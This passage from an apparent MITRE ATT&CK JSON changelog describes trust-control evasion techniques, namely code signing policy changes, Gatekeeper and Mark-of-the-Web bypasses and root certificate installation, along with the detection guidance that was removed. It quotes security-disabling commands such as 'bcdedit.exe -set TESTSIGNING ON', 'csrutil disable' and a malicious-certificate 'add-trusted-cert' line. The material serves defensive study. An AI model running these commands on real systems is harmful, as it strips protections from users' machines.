+ ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS", + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:37.098000+00:00\", \"old_value\": \"2025-04-16 20:37:16.240000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0022: File (File Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0230: Detect Suspicious or Malicious Code Signing Abuse" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-04-23 01:04:57.161000+00:00", + "modified": "2025-10-24 17:48:48.927000+00:00", + "name": "Code Signing Policy Modification", + "description": "Adversaries may modify code signing policies to enable execution of unsigned or self-signed code. Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system. \n\nSome of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS.(Citation: Microsoft DSE June 2017)(Citation: Apple Disable SIP) Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system. Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.(Citation: Microsoft Unsigned Driver Apr 2017)(Citation: Apple Disable SIP)\n\nAdversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, [Modify Registry](https://attack.mitre.org/techniques/T1112), rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP)(Citation: FireEye HIKIT Rootkit Part 2)(Citation: GitHub Turla Driver Loader) Examples of commands that can modify the code signing policy of a system include bcdedit.exe -set TESTSIGNING ON on Windows and csrutil disable on macOS.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP) Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system. Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode). Adversaries may attempt to remove such artifacts.(Citation: F-Secure BlackEnergy 2014)\n\nTo gain access to kernel memory to modify variables related to signature checks, such as modifying g_CiOptions to disable Driver Signature Enforcement, adversaries may conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) using a signed, but vulnerable driver.(Citation: Unit42 AcidBox June 2020)(Citation: GitHub Turla Driver Loader)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1553/006", + "external_id": "T1553.006" + }, + { + "source_name": "Apple Disable SIP", + "description": "Apple. (n.d.). Disabling and Enabling System Integrity Protection. Retrieved April 22, 2021.", + "url": "https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection" + }, + { + "source_name": "F-Secure BlackEnergy 2014", + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf" + }, + { + "source_name": "FireEye HIKIT Rootkit Part 2", + "description": "Glyer, C., Kazanciyan, R. (2012, August 22). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 2). Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20210920172620/https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html" + }, + { + "source_name": "Microsoft Unsigned Driver Apr 2017", + "description": "Microsoft. (2017, April 20). Installing an Unsigned Driver during Development and Test. Retrieved April 22, 2021.", + "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/installing-an-unsigned-driver-during-development-and-test" + }, + { + "source_name": "Microsoft DSE June 2017", + "description": "Microsoft. (2017, June 1). Digital Signatures for Kernel Modules on Windows. Retrieved April 22, 2021.", + "url": "https://docs.microsoft.com/en-us/previous-versions/windows/hardware/design/dn653559(v=vs.85)?redirectedfrom=MSDN" + }, + { + "source_name": "Microsoft TESTSIGNING Feb 2021", + "description": "Microsoft. (2021, February 15). Enable Loading of Test Signed Drivers. Retrieved April 22, 2021.", + "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option" + }, + { + "source_name": "Unit42 AcidBox June 2020", + "description": "Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.", + "url": "https://unit42.paloaltonetworks.com/acidbox-rare-malware/" + }, + { + "source_name": "GitHub Turla Driver Loader", + "description": "TDL Project. (2016, February 4). TDL (Turla Driver Loader). Retrieved April 22, 2021.", + "url": "https://github.com/hfiref0x/TDL" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Abel Morales, Exabeam" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "macOS" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Windows Registry: Windows Registry Key Modification\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:48.927000+00:00\", \"old_value\": \"2025-04-15 19:58:33.055000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line arguments for actions that could be taken to modify the code signing policy of a system, such as bcdedit.exe -set TESTSIGNING ON.(Citation: Microsoft TESTSIGNING Feb 2021) Consider monitoring for modifications made to Registry keys associated with code signing policies, such as HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\Driver Signing. Modifications to the code signing policy of a system are likely to be rare.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1024: Restrict Registry Permissions", + "M1026: Privileged Account Management", + "M1046: Boot Integrity" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0523: Detect Code Signing Policy Modification (Windows & macOS)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-05 16:16:08.471000+00:00", + "modified": "2025-10-24 17:48:36.535000+00:00", + "name": "Gatekeeper Bypass", + "description": "Adversaries may modify file attributes and subvert Gatekeeper functionality to evade user prompts and execute untrusted programs. Gatekeeper is a set of technologies that act as layer of Apple\u2019s security model to ensure only trusted applications are executed on a host. Gatekeeper was built on top of File Quarantine in Snow Leopard (10.6, 2009) and has grown to include Code Signing, security policy compliance, Notarization, and more. Gatekeeper also treats applications running for the first time differently than reopened applications.(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: TheEclecticLightCompany apple notarization )\n\nBased on an opt-in system, when files are downloaded an extended attribute (xattr) called `com.apple.quarantine` (also known as a quarantine flag) can be set on the file by the application performing the download. Launch Services opens the application in a suspended state. For first run applications with the quarantine flag set, Gatekeeper executes the following functions:\n\n1. Checks extended attribute \u2013 Gatekeeper checks for the quarantine flag, then provides an alert prompt to the user to allow or deny execution.(Citation: OceanLotus for OS X)(Citation: 20 macOS Common Tools and Techniques)\n\n2. Checks System Policies - Gatekeeper checks the system security policy, allowing execution of apps downloaded from either just the App Store or the App Store and identified developers.\n\n3. Code Signing \u2013 Gatekeeper checks for a valid code signature from an Apple Developer ID.\n\n4. Notarization - Using the `api.apple-cloudkit.com` API, Gatekeeper reaches out to Apple servers to verify or pull down the notarization ticket and ensure the ticket is not revoked. Users can override notarization, which will result in a prompt of executing an \u201cunauthorized app\u201d and the security policy will be modified.\n\nAdversaries can subvert one or multiple security controls within Gatekeeper checks through logic errors (e.g. [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211)), unchecked file types, and external libraries. For example, prior to macOS 13 Ventura, code signing and notarization checks were only conducted on first launch, allowing adversaries to write malicious executables to previously opened applications in order to bypass Gatekeeper security checks.(Citation: theevilbit gatekeeper bypass 2021)(Citation: Application Bundle Manipulation Brandon Dalton)\n\nApplications and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command may not set the quarantine flag. Additionally, it is possible to avoid setting the quarantine flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1553/001", + "external_id": "T1553.001" + }, + { + "source_name": "Application Bundle Manipulation Brandon Dalton", + "description": "Brandon Dalton. (2022, August 9). A bundle of nerves: Tweaking macOS security controls to thwart application bundle manipulation. Retrieved September 27, 2022.", + "url": "https://redcanary.com/blog/mac-application-bundles/" + }, + { + "source_name": "theevilbit gatekeeper bypass 2021", + "description": "Csaba Fitzl. (2021, June 29). GateKeeper - Not a Bypass (Again). Retrieved September 22, 2021.", + "url": "https://theevilbit.github.io/posts/gatekeeper_not_a_bypass/" + }, + { + "source_name": "OceanLotus for OS X", + "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.", + "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update" + }, + { + "source_name": "TheEclecticLightCompany Quarantine and the flag", + "description": "hoakley. (2020, October 29). Quarantine and the quarantine flag. Retrieved September 13, 2021.", + "url": "https://eclecticlight.co/2020/10/29/quarantine-and-the-quarantine-flag/" + }, + { + "source_name": "TheEclecticLightCompany apple notarization ", + "description": "How Notarization Works. (2020, August 28). How notarization works. Retrieved September 13, 2021.", + "url": "https://eclecticlight.co/2020/08/28/how-notarization-works/" + }, + { + "source_name": "20 macOS Common Tools and Techniques", + "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.", + "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Brandon Dalton @PartyD0lphin", + "Swasti Bhushan Deb, IBM India Pvt. Ltd." + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"File: File Metadata\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:36.535000+00:00\", \"old_value\": \"2025-04-16 20:37:16.087000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"The removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Monitor software update frameworks that strip the com.apple.quarantine flag when performing updates. \\n\\nReview false values under the LSFileQuarantineEnabled entry in an application's Info.plist file (required by every application). false under LSFileQuarantineEnabled indicates that an application does not use the quarantine flag. Unsandboxed applications with an unspecified LSFileQuarantineEnabled entry will default to not setting the quarantine flag. \\n\\nQuarantineEvents is a SQLite database containing a list of all files assigned the com.apple.quarantine attribute, located at ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2. Each event contains the corresponding UUID, timestamp, application, Gatekeeper score, and decision if it was allowed.(Citation: TheEclecticLightCompany Quarantine and the flag)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-The removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Monitor software update frameworks that strip the com.apple.quarantine flag when performing updates. \\n-\\n-Review false values under the LSFileQuarantineEnabled entry in an application's Info.plist file (required by every application). false under LSFileQuarantineEnabled indicates that an application does not use the quarantine flag. Unsandboxed applications with an unspecified LSFileQuarantineEnabled entry will default to not setting the quarantine flag. \\n-\\n-QuarantineEvents is a SQLite database containing a list of all files assigned the com.apple.quarantine attribute, located at ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2. Each event contains the corresponding UUID, timestamp, application, Gatekeeper score, and decision if it was allowed.(Citation: TheEclecticLightCompany Quarantine and the flag)\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1038: Execution Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Metadata)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0288: Detect Gatekeeper Bypass via Quarantine Flag and Trust Control Manipulation" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-21 21:05:32.844000+00:00", + "modified": "2025-10-24 17:49:21.832000+00:00", + "name": "Install Root Certificate", + "description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1553/004", + "external_id": "T1553.004" + }, + { + "source_name": "Operation Emmental", + "description": "botconf eu. (2014, December 31). David Sancho - Finding Holes in Banking 2FA: Operation Emmental. Retrieved January 4, 2024.", + "url": "https://www.youtube.com/watch?v=gchKFumYHWc" + }, + { + "source_name": "SpectorOps Code Signing Dec 2017", + "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.", + "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec" + }, + { + "source_name": "Kaspersky Superfish", + "description": "Onuma. (2015, February 24). Superfish: Adware Preinstalled on Lenovo Laptops. Retrieved February 20, 2017.", + "url": "https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/" + }, + { + "source_name": "objective-see ay mami 2018", + "description": "Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March 19, 2018.", + "url": "https://objective-see.com/blog/blog_0x26.html" + }, + { + "source_name": "Microsoft Sigcheck May 2017", + "description": "Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April 3, 2018.", + "url": "https://docs.microsoft.com/sysinternals/downloads/sigcheck" + }, + { + "source_name": "Tripwire AppUNBlocker", + "description": "Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.", + "url": "https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/" + }, + { + "source_name": "Wikipedia Root Certificate", + "description": "Wikipedia. (2016, December 6). Root certificate. Retrieved February 20, 2017.", + "url": "https://en.wikipedia.org/wiki/Root_certificate" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Matt Graeber, @mattifestation, SpecterOps", + "Red Canary", + "Travis Smith, Tripwire", + "Itzik Kotler, SafeBreach" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\", \"Windows Registry: Windows Registry Key Modification\", \"Windows Registry: Windows Registry Key Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:21.832000+00:00\", \"old_value\": \"2025-04-15 19:59:06.251000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl.(Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List.(Citation: Microsoft Sigcheck May 2017)\\n\\nInstalled root certificates are located in the Registry under HKLM\\\\SOFTWARE\\\\Microsoft\\\\EnterpriseCertificates\\\\Root\\\\Certificates\\\\ and [HKLM or HKCU]\\\\Software[\\\\Policies\\\\]\\\\Microsoft\\\\SystemCertificates\\\\Root\\\\Certificates\\\\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison:(Citation: Tripwire AppUNBlocker)\\n\\n* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\\n* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\\n* 3B1EFD3A66EA28B16697394703A72CA340A05BD5\\n* 7F88CD7223F3C813818C994614A89C99FA3B5247\\n* 8F43288AD272F3103B6FB1428485EA3014C0BCFE\\n* A43489159A520F0D93D032CCAF37E7FE20A8B419\\n* BE36A4562FB2EE05DBB3D32323ADF445084ED656\\n* CDD4EEAE6000AC7F40C3802C171E30148030C072\", \"diff\": \"--- \\n+++ \\n@@ -1,12 +0,0 @@\\n-A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl.(Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List.(Citation: Microsoft Sigcheck May 2017)\\n-\\n-Installed root certificates are located in the Registry under HKLM\\\\SOFTWARE\\\\Microsoft\\\\EnterpriseCertificates\\\\Root\\\\Certificates\\\\ and [HKLM or HKCU]\\\\Software[\\\\Policies\\\\]\\\\Microsoft\\\\SystemCertificates\\\\Root\\\\Certificates\\\\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison:(Citation: Tripwire AppUNBlocker)\\n-\\n-* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\\n-* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\\n-* 3B1EFD3A66EA28B16697394703A72CA340A05BD5\\n-* 7F88CD7223F3C813818C994614A89C99FA3B5247\\n-* 8F43288AD272F3103B6FB1428485EA3014C0BCFE\\n-* A43489159A520F0D93D032CCAF37E7FE20A8B419\\n-* BE36A4562FB2EE05DBB3D32323ADF445084ED656\\n-* CDD4EEAE6000AC7F40C3802C171E30148030C072\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1028: Operating System Configuration", + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0024: Windows Registry (Windows Registry Key Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0056: Detection Strategy for Subvert Trust Controls via Install Root Certificate." + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--7e7c2fba-7cca-486c-9582-4c1bb2851961", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-02-22 14:20:31.650000+00:00", + "modified": "2025-10-24 17:49:01.286000+00:00", + "name": "Mark-of-the-Web Bypass", + "description": "Adversaries may abuse specific file formats to subvert Mark-of-the-Web (MOTW) controls. In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.(Citation: Microsoft Zone.Identifier 2020) Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file is not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)(Citation: Intezer Russian APT Dec 2020)\n\nAdversaries may abuse container files such as compressed/archive (.arj, .gzip) and/or disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.(Citation: Beek Use of VHD Dec 2020)(Citation: Outflank MotW 2020)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1553/005", + "external_id": "T1553.005" + }, + { + "source_name": "Beek Use of VHD Dec 2020", + "description": "Beek, C. (2020, December 3). Investigating the Use of VHD Files By Cybercriminals. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20201203131725/https://christiaanbeek.medium.com/investigating-the-use-of-vhd-files-by-cybercriminals-3f1f08304316" + }, + { + "source_name": "Outflank MotW 2020", + "description": "Hegt, S. (2020, March 30). Mark-of-the-Web from a red team\u2019s perspective. Retrieved February 22, 2021.", + "url": "https://outflank.nl/blog/2020/03/30/mark-of-the-web-from-a-red-teams-perspective/" + }, + { + "source_name": "Intezer Russian APT Dec 2020", + "description": "Kennedy, J. (2020, December 9). A Zebra in Gopher's Clothing: Russian APT Uses COVID-19 Lures to Deliver Zebrocy. Retrieved February 22, 2021.", + "url": "https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/" + }, + { + "source_name": "Microsoft Zone.Identifier 2020", + "description": "Microsoft. (2020, August 31). Zone.Identifier Stream Name. Retrieved February 22, 2021.", + "url": "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/6e3f7352-d11c-4d76-8c39-2516a9df36e8" + }, + { + "source_name": "Disable automount for ISO", + "description": "wordmann. (2022, February 8). Disable Disc Imgage. Retrieved February 8, 2022.", + "url": "https://gist.github.com/wdormann/fca29e0dcda8b5c0472e73e10c78c3e7" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Christiaan Beek, @ChristiaanBeek" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Metadata\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:01.286000+00:00\", \"old_value\": \"2025-04-15 19:58:45.702000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor compressed/archive and image files downloaded from the Internet as the contents may not be tagged with the MOTW. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.(Citation: Disable automount for ISO)\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1038: Execution Prevention", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0022: File (File Creation)", + "DS0022: File (File Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0257: Detect Mark-of-the-Web (MOTW) Bypass via Container and Disk Image Files" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--543fceb5-cb92-40cb-aacf-6913d4db58bc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-05 19:34:04.910000+00:00", + "modified": "2025-10-24 17:48:48.200000+00:00", + "name": "SIP and Trust Provider Hijacking", + "description": "Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the Dll and FuncName Registry values in HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves 